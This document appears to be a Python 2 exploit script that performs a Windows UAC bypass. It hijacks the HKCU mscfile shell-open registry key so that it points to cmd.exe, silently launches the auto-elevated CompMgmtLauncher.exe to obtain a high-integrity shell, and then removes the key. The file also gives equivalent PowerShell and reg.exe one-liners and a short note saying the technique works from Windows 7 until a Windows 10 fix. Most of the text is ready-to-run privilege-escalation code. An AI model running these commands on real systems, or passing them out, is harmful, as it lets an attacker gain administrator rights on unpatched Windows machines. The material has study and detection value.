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Tested on Microsoft Windows [Version 6.1.7601]
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# -*- coding: utf-8 -*- | |
# All credits go to https://github.com/mrfuzzy8/Scripts/blob/master/Invoke-CompMgmtLauncherBypass.ps1 += https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ | |
''' | |
CompMgmtLauncher.exe is an auto-elevated binary that is vulnerable to Image Hijack on the .msc file extension. | |
Read access to HKCU\Software\Classes\mscfile\shell\open\command is perfomed with "mmc.exe" as a default value which then invokes eventvwr.msc,if “NAME NOT FOUND” it goes to HKCR\mscfile\shell\open\command. | |
Due to the registry key being accessible from user mode once we inject can inject an arbitray file to be executed with High IL. | |
''' | |
from _winreg import * | |
HKCU = ConnectRegistry(None, HKEY_CURRENT_USER) | |
CreateKey(HKCU, 'Software\\Classes\\mscfile\\shell\\open\\command') | |
registrykey = OpenKey(HKCU, 'Software\\Classes\\mscfile\\shell\\open\\command', 0, KEY_WRITE) | |
print "Performing registry key manipulation" | |
SetValueEx(registrykey, '', 0, REG_SZ, 'C:\\Windows\\System32\\cmd.exe') | |
CloseKey(registrykey) | |
print "Setting payload" | |
from ctypes.wintypes import * | |
from ctypes import * | |
shell32 = WinDLL('shell32' , use_last_error=True) | |
kernel32 = WinDLL('kernel32', use_last_error=True) | |
LPCTSTR = c_char_p | |
# Contains information used by ShellExecuteEx. | |
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb759784(v=vs.85).aspx | |
class ShellExecuteInfo(Structure): # typedef struct _SHELLEXECUTEINFO | |
_fields_ = [ # { | |
('cbSize', DWORD), # DWORD cbSize; | |
('fMask', ULONG), # ULONG fMask; | |
('hwnd', HWND), # HWND hwnd; | |
('lpVerb', LPCTSTR), # LPCTSTR lpVerb; | |
('lpFile', LPCTSTR), # LPCTSTR lpFile; | |
('lpParameters', LPCTSTR), # LPCTSTR lpParameters; | |
('lpDirectory', LPCTSTR), # LPCTSTR lpDirectory; | |
('nShow', c_int), # int nShow; | |
('hInstApp', HINSTANCE), # HINSTANCE hInstApp; | |
('lpIDList', LPVOID), # LPVOID lpIDList; | |
('lpClass', LPSTR), # LPCTSTR lpClass; | |
('hKeyClass', HKEY), # HKEY hkeyClass; | |
('dwHotKey', DWORD), # DWORD dwHotKey; | |
('hIcon', HANDLE), # union { HANDLE hIcon; HANDLE hMonitor;} | |
('hProcess', HANDLE) # HANDLE hProcess; | |
] # } | |
PShellExecuteInfo = POINTER(ShellExecuteInfo) | |
ShellExecuteEx = shell32.ShellExecuteEx | |
ShellExecuteEx.restype = BOOL | |
ShellExecuteEx.argtypes = [ | |
PShellExecuteInfo | |
] | |
SW_HIDE = 0 | |
SEE_MASK_NOCLOSEPROCESS = 0x00000040 | |
ShellExecute = ShellExecuteInfo() | |
ShellExecute.cbSize = sizeof(ShellExecute) | |
ShellExecute.fMask = SEE_MASK_NOCLOSEPROCESS | |
ShellExecute.hwnd = None | |
ShellExecute.lpverb = None | |
ShellExecute.lpFile = u'CompMgmtLauncher.exe' | |
ShellExecute.lpParameters = None | |
ShellExecute.lpDirectory = None | |
ShellExecute.nShow = SW_HIDE | |
ShellExecuteEx(byref(ShellExecute)) | |
kernel32.WaitForSingleObject(ShellExecute.hProcess, -1) | |
print "Triggering payload PID:", kernel32.GetProcessId(ShellExecute.hProcess) | |
DeleteKey(OpenKey(HKCU, 'Software\\Classes\\mscfile\\shell\\open', 0, KEY_ALL_ACCESS), 'command') | |
print "Deleting stuff" | |
''' | |
Windows PowerShell | |
Copyright (C) Microsoft Corporation. All rights reserved. | |
PS C:\Users\uknown> New-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -ErrorAction SilentlyContinue -Force | Out-Null | |
PS C:\Users\uknown> New-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(default)" -Value "C:\Windows\System32\cmd.exe" -Force | Out-Null | |
PS C:\Users\uknown> Start-Process CompMgmtLauncher.exe | |
PS C:\Users\uknown> Remove-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -ErrorAction SilentlyContinue -Force | Out-Null | |
''' | |
''' | |
Microsoft Windows [Version 6.1.7601] | |
Copyright (c) 2009 Microsoft Corporation. All rights reserved. | |
C:\Users\uknown>reg add HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f && START /W CompMgmtLauncher.exe && reg delete HKEY_CURRENT_USER\Software\Classes\mscfile /f | |
''' | |
''' | |
25. | |
- Author: Enigma0x3 | |
- Type: Shell API | |
- Method: Registry key manipulation | |
- Target(s): \system32\EventVwr.exe, \system32\CompMgmtLauncher.exe | |
- Component(s): Attacker defined | |
- Implementation: ucmHijackShellCommandMethod | |
- Works from: Windows 7 (7600) | |
- Fixed in: Windows 10 RS2 (15031) | |
- How: EventVwr.exe redesigned, CompMgmtLauncher.exe autoelevation removed | |
''' | |
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